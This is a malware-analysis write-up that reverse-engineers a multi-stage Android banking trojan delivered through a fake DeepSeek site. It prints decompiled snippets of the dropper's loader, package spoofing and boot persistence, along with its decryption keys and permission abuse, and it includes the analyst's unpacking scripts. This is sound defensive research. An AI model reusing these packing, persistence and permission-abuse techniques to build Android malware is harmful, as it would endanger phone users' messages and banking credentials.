Reverse Engineering An Android Banking Trojan - OctoV2
Table of Contents
Introduction
With the increasing popularity of DeepSeek AI, threat actors are capitalizing by creating phishing sites that mimic DeepSeek and distribute a sophisticated Android trojan, tricking users into installing a malicious app. One such campaign, hosted at hxxp://deepseek[.]sbs, lures victims into downloading a malicious APK masquerading as an official DeepSeek app.

Once installed, the app immediately requests extensive permissions under the guise of a required “update”. Behind this facade lies a multi-stage Android trojan. This article breaks down the trojan’s internals and main components.
Infection Chain Overview
The attack begins with a dropper APK (com.hello.world) that uses encrypted ZIP entries and file name collisions to break reverse engineering tools. This first stage extracts and decrypts a secondary payload through multiple compression and encryption layers, a “Russian Doll” technique where each layer reveals another encrypted component.
The dropper then uses social engineering to deliver Stage 2 (com.vgsupervision_kit29), which repeats the same obfuscation pattern before loading native libraries containing an RC4 encrypted payload. The final stage loads an in-memory DEX payload that establishes C2 communication and deploys full RAT capabilities including VNC remote control, SMS interception, keylogging, and device administrator abuse.
com.hello.world
SHA: 0a8570bc...] B -->|Anti-Analysis| C[Encrypted ZIP Entries
Password Protected] B -->|Anti-Analysis| D[Duplicated File Names
AndroidManifest.xml collision] C --> E[Patched APK
Encryption flags cleared] D --> E E -->|Installation| F[Dropper Executes
attachBaseContext] F -->|Extracts| G[Asset: myqetzionpaeefbh
Encrypted APK] G -->|Layer 1| H[Zlib Decompression] H -->|Layer 2| I[DES Decryption
Key: miqfjvzb
ECB/PKCS5Padding] I -->|Layer 3| J[Zlib Decompression] J -->|Result| K[Valid DEX File
com.hello.world implementation] K -->|Dynamic Load| L[MainActivity
WebView Interface] L -->|Social Engineering| M[Fake Update Prompt
User clicks Update] M -->|Extracts| N[Asset: 1_12160dc504.cat
Stage 2 APK] N -->|Installs| O[Stage 2 APK
com.vgsupervision_kit29
SHA: f35635ab...] O -->|Anti-Analysis| P[Same Obfuscation
Encrypted ZIP + Collisions] P -->|Installation| Q[Stage 2 Executes
attachBaseContext] Q -->|Extracts| R[Asset: zdvjwnqcaasmzzfa
Encrypted Archive] R -->|Layer 1| S[Zlib Decompression] S -->|Layer 2| T[DES Decryption
Key: rqcejxta
ECB/PKCS5Padding] T -->|Layer 3| U[Zlib Decompression] U -->|Result| V[Valid DEX File
com.vgsupervision_kit29 impl] V -->|Loads| W[Native Library
libcyqcXW.so] W -->|Contains| X[Embedded Encrypted Payload
Offset 0x47361, Size 347KB] X -->|RC4 Decryption| Y[Key: wdwNQ508SVDCcJ03jR6IcZB3teA4bI1Q] Y -->|Extracts to| Z[Hidden File: .q
/data/data/.../app_files/] Z -->|dlopen| AA[Final Payload Library
Cryptographic Functions] AA -->|Provides| AB[DGA Algorithm
Generates C2 Domains] AA -->|Provides| AC[AES Keys & Salts
For C2 Communication] V -->|Runtime Load| AD[InMemoryDexClassLoader
Final RAT Payload] AD -->|Establishes| AE[C2 Connection
hxxps://***bt01tug8***oe****44a4.com] AE -->|Receives| AF[RAT Commands
50+ command types] AF --> AH[SMS Interception] AF --> AI[Keylogger] AF --> AK[Device Admin Control] AF --> AM[UI Automation] style B fill:#7C2D12 style O fill:#7C2D12 style AD fill:#c92a2a style AE fill:#c92a2a style G fill:#b06604 style N fill:#b06604 style R fill:#b06604 style X fill:#b06604 style W fill:#0d7a73 classDef encrypted fill:#b06604,stroke:#f59f00,stroke-width:2px classDef native fill:#0d7a73,stroke:#0ca678,stroke-width:2px classDef malicious fill:#7C2D12,stroke:#c92a2a,stroke-width:3px classDef c2 fill:#c92a2a,stroke:#862e2e,stroke-width:3px
Anti-Reversing Techniques
Password protected-files
The first anti-analysis technique I came across was encrypted ZIP entries. When I tried to extract the parent APK with unzip, it prompted me for a password, even though the app installed and ran normally on a device. This is an anti-analysis measure designed to break reverse-engineering tools such as apktool and jadx, preventing them from parsing the APK.
So to fix this I made a script in python to patch the flags in the Local File header and Central directory file header related to encryption, which is bit 0 from General purpose bit flag
unzip 0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk 
Archive:  0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk
classes.dex/X3.9.png:  ucsize 221 <> csize 209 for STORED entry
         continuing with "compressed" size value
[0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk] classes.dex/X3.9.png password:
I wrote a Python script to clear bit 0 (the encryption flag) in the General Purpose Bit Flag of both Local File and Central Directory headers, allowing tools like unzip/apktool to parse the APK.
import struct
from pathlib import Path
def modify_zip_headers(zip_path):
    """Clears encryption flags in ZIP Local File Headers and Central Directory Headers."""
    zip_path = Path(zip_path)
    backup_path = zip_path.with_suffix('.apk.backup')
    zip_path.rename(backup_path)
    
    try:
        with open(backup_path, 'rb') as src, open(zip_path, 'wb') as dst:
            data = bytearray(src.read())
            
            # Clear encryption flag in Local File Headers (PK\x03\x04)
            for i in range(len(data) - 4):
                if data[i:i+4] == b'PK\x03\x04':
                    flag_offset = i + 6
                    if flag_offset + 2 <= len(data):
                        flag = struct.unpack('<H', data[flag_offset:flag_offset+2])[0]
                        data[flag_offset:flag_offset+2] = struct.pack('<H', flag & ~1)
            
            # Clear encryption flag in Central Directory Headers (PK\x01\x02)
            for i in range(len(data) - 4):
                if data[i:i+4] == b'PK\x01\x02':
                    flag_offset = i + 8
                    if flag_offset + 2 <= len(data):
                        flag = struct.unpack('<H', data[flag_offset:flag_offset+2])[0]
                        data[flag_offset:flag_offset+2] = struct.pack('<H', flag & ~1)
            
            dst.write(data)
        
        print(f"Modified {zip_path}, backup: {backup_path}")
        return True
        
    except Exception as e:
        if zip_path.exists():
            zip_path.unlink()
        backup_path.rename(zip_path)
        print(f"Error: {e} - Original restored")
        return False
if __name__ == "__main__":
    modify_zip_headers('0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk')
Duplicated Entries
After patching the encryption flags, I attempted to unzip the APK again but encountered another issue: a name collision between critical files and directories. For example, there were directories named AndroidManifest.xml and resources.arsc.
unzip 0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk 
Archive:  0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk
 extracting: classes.dex/X3.9.png    
 extracting: AndroidManifest.xml/ps.9.png  
 extracting: resources.arsc/dO.xml   
 extracting: classes.dex/Z8.png      
 [... Many more resources ...]
 extracting: assets/gunuvucugex/mikijiqaded/nigudaviceqicagacejohopidunizucalo/bifacocimomigoxuvofe/lasesakotokovenajebulajigicotah/migolohitezeqesapiwapecixukiwile.net  
replace resources.arsc? [y]es, [n]o, [A]ll, [N]one, [r]ename: 
I patched the collisions by creating a list of affected files and renaming the directories involved, which let me successfully extract all contents and load the APK into jadx.
import shutil
from pathlib import Path
def fix_badpack_apk_rename(input_apk):
    """Fixes fake directory entries in malformed APKs by renaming them."""
    important_files = [
        b'AndroidManifest.xml',
        b'classes.dex',
        b'classes2.dex', 
        b'classes3.dex',
        b'resources.arsc',
        b'META-INF/MANIFEST.MF',
        b'META-INF/CERT.SF',
        b'META-INF/CERT.RSA'
    ]
    
    output_apk = Path('patched.apk')
    shutil.copy2(input_apk, output_apk)
    
    with open(output_apk, 'rb') as f:
        data = f.read()
    
    modified_data = data
    total_replacements = 0
    
    for important_file in important_files:
        fake_dir = important_file + b'/'
        fake_dir_positions = []
        start = 0
        while True:
            pos = modified_data.find(fake_dir, start)
            if pos == -1:
                break
            fake_dir_positions.append(pos)
            start = pos + 1
        
        if fake_dir_positions:
            print(f"Found {len(fake_dir_positions)} instances of {fake_dir} at positions: {fake_dir_positions}")
            
            replacement = b'zzzz' + important_file[4:] + b'/' if len(important_file) >= 4 else b'zzzz' + important_file + b'/'
            modified_data = modified_data.replace(fake_dir, replacement)
            total_replacements += len(fake_dir_positions)
            print(f"  Replaced with: {replacement}")
        
        fake_prefix = important_file + b'/'
        search_pos = 0
        file_in_fake_dir_count = 0
        
        while True:
            pos = modified_data.find(fake_prefix, search_pos)
            if pos == -1:
                break
            
            next_slash_or_null = pos + len(fake_prefix)
            if next_slash_or_null < len(modified_data):
                end_pos = next_slash_or_null
                while end_pos < len(modified_data) and modified_data[end_pos:end_pos+1] not in [b'\x00', b' ', b'\n', b'\r']:
                    end_pos += 1
                
                if end_pos > next_slash_or_null:
                    full_fake_filename = modified_data[pos:end_pos]
                    if b'/' in full_fake_filename[len(important_file)+1:]:
                        file_in_fake_dir_count += 1
                        print(f"Found file in fake directory at {pos}: {full_fake_filename}")
            
            search_pos = pos + 1
        
        if file_in_fake_dir_count > 0:
            print(f"Found {file_in_fake_dir_count} files inside fake {important_file}/ directory")
    
    with open(output_apk, 'wb') as f:
        f.write(modified_data)
    
    print(f"Total replacements: {total_replacements}, output: {output_apk}")
if __name__ == "__main__":
    fix_badpack_apk_rename('0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6.apk')
Stage 1: Dropper Behavior
Manifest Analysis
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    xmlns:ns1="theme" 
    ns1:dpkmvl="null"
    xmlns:ns2="1.0" 
    ns2:theme="null"
    xmlns:ns3="NOT_FOUND_STR_0x1000000c" 
    ns3:android.intent.category.DEFAULT="null"
    xmlns:ns4="12" 
    ns4:NOT_FOUND_STR_0x300000c="null"
    xmlns:ns5="package" 
    ns5:com.hello.world="null"
    platformBuildVersionCode="32">
    ...
    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <queries>
        <intent>
            <action android:name="android.intent.action.MAIN"/>
        </intent>
        <intent>
            <action android:name="android.intent.action.VIEW"/>
            <category android:name="android.intent.category.BROWSABLE"/>
            <data android:scheme="https"/>
        </intent>
        <package android:name="com.android.chrome"/>
        <package android:name="com.gxfychvcj.qhcclpouc"/>
    </queries>
    <application
        android:theme="0x7f0e010a"
        xmlns:ns7="theme" 
        ns7:dpkmvl="  ?0xff 16777228"
        xmlns:ns8="NOT_FOUND_STR_0x7f0d001c" 
        ns8:theme="null"
        xmlns:ns9="NOT_FOUND_STR_0x100000c" 
        ns9:NOT_FOUND_STR_0x7f0c0000="null"
        xmlns:ns10="oou.qlkuahl.suygrwjnj.ckzmnxr" 
        ns10:NOT_FOUND_STR_0x300000c="null"
        xmlns:ns11="allowBackup" 
        ns11:NOT_FOUND_STR_0xffffffff="  ?0xff 0"
        android:supportsRtl="true"
        xmlns:ns12="theme" 
        ns12:dpkmvl="  ?0xff 301989900">
        <activity
            android:theme="0x7f0e010a"
            xmlns:ns13="theme" 
            ns13:dpkmvl="null"
            xmlns:ns14="com.hello.world.MainActivity" 
            ns14:theme="null"
            xmlns:ns15="NOT_FOUND_STR_0x1200000c" 
            ns15:NOT_FOUND_STR_0xffffffff="null"
            NOT_FOUND_STR_0x1000000c="null">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity
            android:theme="0x7f0e00fe"
            xmlns:ns16="theme" 
            ns16:dpkmvl="null"
            xmlns:ns17="com.hello.world.PopupActivity" 
            ns17:theme="null"/>
        <receiver
            android:name="com.hello.world.BootReceiver"
            xmlns:ns18="theme" 
            ns18:dpkmvl="  ?0xff 301989900"
            theme="null">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
                <action android:name="android.intent.action.MY_PACKAGE_REPLACED"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </receiver>
        ...
    </application>
</manifest>
Looking at the AndroidManifest.xml, several elements appear highly suspicious and indicative of malicious behavior:
Obfuscated and Malformed Structure:
The manifest contains numerous malformed namespace declarations and ‘NOT_FOUND_STR’ references, suggesting it was obfuscated or corrupted to make reverse engineering more difficult.
Excessive System Permissions: The application requests several high-risk permissions that are commonly abused by malware:
REQUEST_INSTALL_PACKAGES- allows installing other APKs without user interactionSYSTEM_ALERT_WINDOW- enables drawing over other apps, which can be used for overlay attacksQUERY_ALL_PACKAGES- grants access to information about all installed applicationsSCHEDULE_EXACT_ALARM- allows precise alarm scheduling, potentially for persistent execution
Boot Persistence Mechanisms:
The BootReceiver component is configured to automatically start after device boot, reboot, or package replacement, enabling persistence across restarts.
Suspicious Package Identity:
While the primary package name is com.hello.world (appearing benign), it is marked as the Main Activity but will likely be loaded dynamically at a later stage, as JADX cannot yet resolve this package.
Service and Activity Structure:
The PopupService and PopupActivity components, combined with the SYSTEM_ALERT_WINDOW permission, indicate the app likely displays unauthorized popup overlays, potentially for phishing attacks or user interface manipulation.
The combination of excessive permissions, boot persistence, obfuscated code structure, and suspicious package queries strongly suggests this is a malicious application designed for surveillance, data theft, or serving as a dropper for additional components.
Package Name Spoofing

Searching for com.hello.world led me to oou.qlkuahl.suygrwjnj. The ckzmnxr class is spoofing the package name. It does this by overriding the standard android getPackageName() method to return the false identity.
@Override
public String getPackageName() {
    return "com.hello.world";
}
The class contains an obfuscated string decryption function lll1lll() that uses XOR operations to decode configuration strings:
static String lll1lll(int i) {
    if (i == 106) {
        byte[] bArr = {78, 57, 62, 63, 40, 53, 43, 58, 58, 38, 35, 41, 43, 62, 35, 37, 36, 53, 36, 43, 39, 47, 78};
        for (int i17 = 0; i17 < bArr.length; i17++) {
            bArr[i17] = (byte) (bArr[i17] ^ i);
        }
        return new String(bArr, StandardCharsets.UTF_8);
    }
    // Additional XOR decode cases for different keys...
}
When decoded, these XOR operations reveal placeholder strings that for a templated malware deployment system:
- Key 106: 
$STUB_APPLICATION_NAME$->"Loou/qlkuahl/suygrwjnj/ckzmnxr;" - Key 119: 
$REAL_APPLICATION_NAME$->"android.app.Application" - Key 300: 
$PACKAGE_NAME$->"com.hello.world" 
Dynamic Payload Extraction and Injection
The class also implements several hook methods to allow runtime manipulation of the application context:
@Override
protected void attachBaseContext(Context context) {
    super.attachBaseContext(context);
    try {
        mvyakkwxbiduix.fmypvchjsmao(this);
        jvqxwsfmuxwpcht.hook(this, "android.app.Application", "Loou/qlkuahl/suygrwjnj/ckzmnxr;");
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}
Looking into mvyakkwxbiduix.fmypvchjsmao(), I found it’s extracting a payload. attachBaseContext() reads an encrypted asset called myqetzionpaeefbh, decrypts and decompresses it into a DEX file, then injects it into the app’s classloader on the fly.
public static void fmypvchjsmao(Application application) ... {
    // 1. Extract encrypted payload from assets
    byte[] oqqteadlw = hkofxtvdqf.oqqteadlw(application.getAssets().open("myqetzionpaeefbh"));
    
    //...
    
    // Decrypt DEX file
    for (File file2 : olmncmdqlyd) {
        File file3 = new File(dir, file2.getName());
        wunzbxvie.decrypt(file2, file3); // Decrypt DEX file
        setOnlyRead(file3); // Set read-only permissions
        arrayList.add(file3); // Add to loading list
    }
    
    // Inject DEX into application classloader
    gehsiidrorhw(application, arrayList, dir);
    
    // cleanup
    hkofxtvdqf.mexkablgl(dir);
}
> file myqetzionpaeefbh 
myqetzionpaeefbh: Android package (APK), with classes.dex
At first glance, the file appears to be a standard APK with classes.dex. However, as seen in the fmypvchjsmao() function, the file contains encrypted data:
encryptOrDecrypt("miqfjvzbvnkjrgvk", 2, inflaterInputStream, inflaterOutputStream);
public static void encryptOrDecrypt(String str, int i, InputStream inputStream, OutputStream outputStream) throws Throwable {
    SecretKey generateSecret = SecretKeyFactory.getInstance(lllJ1lJ(308))
        .generateSecret(new DESKeySpec(str.getBytes()));
    Cipher cipher = Cipher.getInstance(lllJ1lJ(340));
    //...
}
DES is used to encrypt the file with the password "miqfjvzbvnkjrgvk". However, DES effectively uses only 7 bytes for the key and 1 byte for parity, so the actual key is "miqfjvzb". The algorithm does not specify a mode or padding, so Java’s default DES transformation applies: ECB mode with PKCS5Padding.
To further analyze the encrypted DEX, I’ve written a script to decrypt it, after which it was loaded into JADX for inspection.
import zlib
import zipfile
from pathlib import Path
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad
KEY = b"miqfjvzb"
def decompress_and_decrypt(input_path):
    """Unzips, decompresses, and decrypts a file using DES/ECB."""
    input_path = Path(input_path)
    output_path = Path('myqetzionpaeefbh_classes.dex')
    
    if not input_path.exists():
        print(f"Error: {input_path} not found")
        return
    
    try:
        # Stage 1: Unzip
        print("Unzipping file...")
        with zipfile.ZipFile(input_path, 'r') as zip_ref:
            zip_ref.extractall('temp_extracted')
        
        extracted_file = Path('temp_extracted') / input_path.name
        if not extracted_file.exists():
            extracted_files = list(Path('temp_extracted').iterdir())
            if extracted_files:
                extracted_file = extracted_files[0]
            else:
                print("Error: No files extracted")
                return
        
        # Stage 2: Decompress
        print("Decompressing...")
        with open(extracted_file, 'rb') as f:
            compressed_data = f.read()
        
        encrypted_payload = zlib.decompress(compressed_data)
        print(f"Decompressed: {len(encrypted_payload)} bytes")
        
        # Stage 3: Decrypt
        print("Decrypting...")
        if len(encrypted_payload) % DES.block_size != 0:
            print(f"Error: Data size ({len(encrypted_payload)}) not aligned to DES block size")
            return
        
        cipher = DES.new(KEY, DES.MODE_ECB)
        decrypted_padded_data = cipher.decrypt(encrypted_payload)
        decrypted_data = unpad(decrypted_padded_data, DES.block_size)
        
        # Stage 4: Final decompression
        print("Final decompression...")
        try:
            final_data = zlib.decompress(decrypted_data)
            print(f"Final payload: {len(final_data)} bytes")
        except zlib.error as e:
            print(f"Final decompression failed: {e}, using raw decrypted data")
            final_data = decrypted_data
        
        # Stage 5: Save output
        with open(output_path, 'wb') as f:
            f.write(final_data)
        
        # Cleanup
        import shutil
        shutil.rmtree('temp_extracted', ignore_errors=True)
        
        print(f"Success: {output_path} ({output_path.stat().st_size} bytes)")
        
    except Exception as e:
        print(f"Error: {e}")
if __name__ == "__main__":
    decompress_and_decrypt('myqetzionpaeefbh')
In short:
myqetzionpaeefbh: A valid APK.classes.dex(inside the APK): Contains zlib compressed data. Decompressing it producesdecompressed_classes.dex: Contains DES-encrypted data. Decrypting it producesdecrypted_classes.dex: Reveals zlib compressed content. Decompressing this results inmyqetzionpaeefbh_classes.dex: A valid DEX file (Dalvik dex file version 035).
This is a classic “Russian Doll” technique: the packer uses double compression to hide the real payload.
Extracted DEX Analysis
This DEX contains the actual implementation of the com.hello.world package, including the main activity, persistence mechanisms, and the WebView based interface used to deliver the next payload.

In the MainActivity of the com.hello.world package, there are several encrypted strings defined in a static array and decrypted at runtime using an XOR based function.
Decrypted strings:
==================================================
APK_EXTENSION             = '.cat'
CHILD_PACKAGE_NAME        = 'com.vgsupervision_kit29'
CHROME_PACKAGE_NAME       = 'com.android.chrome'
KEY_INSTALL_START_TIME    = ''
KEY_WAITING_PERMISSION    = 'waiting_for_permission'
PACKAGE_INSTALLED_ACTION  = 'com.hello.world.INSTALL_COMPLETE'
PREFS_NAME                = ''
TAG                       = 'MainActivity'
These values suggest that the malware expects to handle a secondary payload with the .cat extension, and that the next stage app is packaged under com.vgsupervision_kit29.
Key Components
Once injected, the following key classes are now present:
MainActivity– initializes the malicious workflow and manages payload delivery.WebViewContent– hosts the user-facing interface used for social engineering.PopupService– maintains background activity and persistence through UI popups.
Persistence Mechanism
A boot receiver is registered to automatically launch the main activity after device reboot, ensuring continuous operation:
if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
    Intent bootIntent = new Intent(context, MainActivity.class);
    bootIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    context.startActivity(bootIntent);
}
This guarantees the application restarts after each reboot, maintaining persistence without user interaction.
WebView Social Engineering Interface
The application uses a WebView with a js interface to display a fake update prompt.
// Adds js interface for fake update button
this.webView.addJavascriptInterface(new WebAppInterface(), "AndroidBridge");
When users click the “Update” button, the next payload stage is triggered:
@Override // com.hello.world.WebViewContent.UpdateAppListener
public void onUpdateRequested() {
    log($(1147, 1163, -20370)); //logs "Update requested"
    if (this.isInstalling || this.isWaitingForPermission) {
        return;
    }
    this.isInstalling = DEBUG;
    stopPopupBehavior();
    installChildApk(); // Triggers next stage
}
Secondary APK Download and Installation
The dropper extracts and installs a child APK from its assets. The file 1_12160dc504.cat contains the next stage APK:
InputStream catFile = getAssets().open("1_12160dc504.cat");
File temp = new File(getCacheDir(), "child.apk");
// Copies to PackageInstaller session and commits installation
The .cat file is actually a standard APK packaged as a ZIP archive (compression method=store), though it uses a nonstandard extension to evade detection and manual inspection. The malware monitors installation completion and launches the child app once ready.
file 1_12160dc504.cat
1_12160dc504.cat: Zip archive data, at least v2.0 to extract, compression method=store
When attempting to unzip it for static analysis, I encountered the same issue as with the original APK, name collisions between critical files and directories designed to obstruct analysis. Reusing the same patching script from before resolved the conflicts and allowed full extraction.
Stage 2
Manifest Analysis
Looking at the AndroidManifest.xml of 1_12160dc504.cat, we can immediately see that, similarly to the first stage, this APK declares intrusive permissions, but this time with an even broader and more dangerous scope, granting it near total control over the device.
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    android:versionName="1.0"
    android:compileSdkVersion="33"
    android:compileSdkVersionCodename="13"
    package="com.vgsupervision_kit29"
    platformBuildVersionCode="33"
    platformBuildVersionName="13">
    <uses-sdk
        android:minSdkVersion="28"
        android:targetSdkVersion="33"/>
    <uses-feature
        android:name="android.hardware.telephony"
        android:required="false"/>
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.REORDER_TASKS"/>
    <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
    <uses-permission android:name="android.provider.Telephony.SMS_RECEIVED"/>
    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.USES_POLICY_FORCE_LOCK"/>
    <uses-permission android:name="android.permission.VIBRATE"/>
    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT"/>
    <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
    <uses-permission
        android:name="android.permission.READ_PHONE_STATE"
        android:maxSdkVersion="29"/>
    <application
        android:theme="0x7f040000"
        android:label="0x7f030000"
        android:icon="0x7f010000"
        android:name="ccg.wffpuwo.bxasqiwdz.kgtytvo"
        android:allowBackup="false"
        android:hardwareAccelerated="true"
        android:extractNativeLibs="false"
        android:usesCleartextTraffic="true">
        <activity
            android:label="0x7f030000"
            android:name="com.vgsupervision_kit29.jvzV7sC2"
            android:exported="true"
            android:excludeFromRecents="true"
            android:screenOrientation="fullSensor"
            android:noHistory="false"
            android:extractNativeLibs="false">
            <intent-filter>
                <category android:name="android.intent.category.LAUNCHER"/>
                <action android:name="android.intent.action.MAIN"/>
            </intent-filter>
        </activity>
        ...
        <receiver
            android:label="0x7f030000"
            android:name="com.vgsupervision_kit29.hhA8n9MIP"
            android:permission="android.permission.BIND_DEVICE_ADMIN"
            android:exported="false">
            <meta-data
                android:name="android.app.device_admin"
                android:resource="0x7f050000"/>
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
                <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="com.vgsupervision_kit29.bvLN0nNj"
            android:exported="true">
            <intent-filter android:priority="999">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="com.vgsupervision_kit29.hcrw1L0XZ"
            android:permission="android.permission.BROADCAST_SMS"
            android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="com.vgsupervision_kit29.ia4L9Yum"
            android:permission="android.permission.BROADCAST_WAP_PUSH"
            android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
                <data android:mimeType="application/vnd.wap.mms-message"/>
                <data android:mimeType="application/vnd.wap.sic"/>
            </intent-filter>
        </receiver>
        <activity
            android:name="com.vgsupervision_kit29.gsuf5fz4GnJ"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.SEND"/>
                <action android:name="android.intent.action.SENDTO"/>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="sms"/>
                <data android:scheme="smsto"/>
                <data android:scheme="mms"/>
                <data android:scheme="mmsto"/>
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.SEND"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:mimeType="*/*"/>
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.SEND_MULTIPLE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:mimeType="*/*"/>
            </intent-filter>
        </activity>
        <service
            android:name="com.vgsupervision_kit29.zktW0Kf3l"
            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:scheme="sms"/>
                <data android:scheme="smsto"/>
                <data android:scheme="mms"/>
                <data android:scheme="mmsto"/>
            </intent-filter>
        </service>
        <receiver
            android:name="com.vgsupervision_kit29.ozW1LnEJ1"
            android:enabled="true"
            android:exported="true">
            <intent-filter android:priority="999">
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
                <action android:name="android.intent.action.USER_PRESENT"/>
                <action android:name="android.intent.action.PACKAGE_ADDED"/>
                <action android:name="android.intent.action.PACKAGE_REMOVED"/>
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.intent.action.SCREEN_ON"/>
                <action android:name="android.intent.action.SCREEN_OFF"/>
                <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE"/>
                <category android:name="android.intent.category.HOME"/>
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
                <action android:name="android.net.wifi.WIFI_STATE_CHANGED"/>
                <action android:name="android.intent.action.DREAMING_STOPPED"/>
            </intent-filter>
        </receiver>
        ...
        <service
            android:name="com.vgsupervision_kit29.qezCJfF"
            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
            android:exported="false">
            <intent-filter>
                <action android:name="android.service.notification.NotificationListenerService"/>
            </intent-filter>
        </service>
    </application>
</manifest>
Some of the most suspicious elements include:
Extensive Dangerous Permissions: The application requests an alarming array of permissions that enable complete device takeover:
- Full SMS control (
READ_SMS,WRITE_SMS,SEND_SMS,RECEIVE_SMS,RECEIVE_MMS) - allows intercepting and manipulating all text messages - Phone access (
READ_PHONE_NUMBERS,CALL_PHONE,READ_PHONE_STATE) - enables call monitoring and phone number harvesting QUERY_ALL_PACKAGES- permits scanning all installed applicationsREQUEST_IGNORE_BATTERY_OPTIMIZATIONS- bypasses power saving restrictions to maintain persistent operationREORDER_TASKSandWAKE_LOCK- controls task scheduling and prevents device sleep
Device Administrator Abuse:
The receiver hhA8n9MIP requests Device Admin privileges (BIND_DEVICE_ADMIN permission). This grants the malware the ability to:
- Prevent its own uninstallation
 - Lock the device screen
 - Reset device passwords
 - Wipe device data
 
SMS Interception Infrastructure:
Multiple receivers are configured to intercept SMS and MMS messages with maximum priority (android:priority="999"):
bvLN0nNj- intercepts incoming SMS before legitimate appshcrw1L0XZ- captures SMS delivery eventsia4L9Yum- intercepts MMS and WAP push messages
Default SMS App Takeover:
The activity gsuf5fz4GnJ is configured with intent filters for sms://, smsto://, mms://, and mmsto:// schemes, along with SEND and SENDTO actions. Combined with the service zktW0Kf3l that handles RESPOND_VIA_MESSAGE, this allows the malware to position itself as the default SMS application, giving it complete control over messaging.
Aggressive Persistence Mechanisms:
The receiver ozW1LnEJ1 monitors an excessive number of system events with maximum priority (999):
- Boot events (
BOOT_COMPLETED,QUICKBOOT_POWERON) - Screen state changes (
SCREEN_ON,SCREEN_OFF,USER_PRESENT) - Package installation/removal events
 - Network connectivity changes
 - Home screen events
 
This allows the malware reactivates itself under virtually any system state change, making it nearly impossible to terminate.
Accessibility Service Exploitation:
The service jxJN1jIkUAD implements an AccessibilityService (BIND_ACCESSIBILITY_SERVICE). This is commonly abused to:
- Monitor all user interactions and screen content
 - Perform automated UI manipulation (clicking, typing)
 - Bypass security prompts
 - Capture credentials and sensitive data
 
Notification Listener Service:
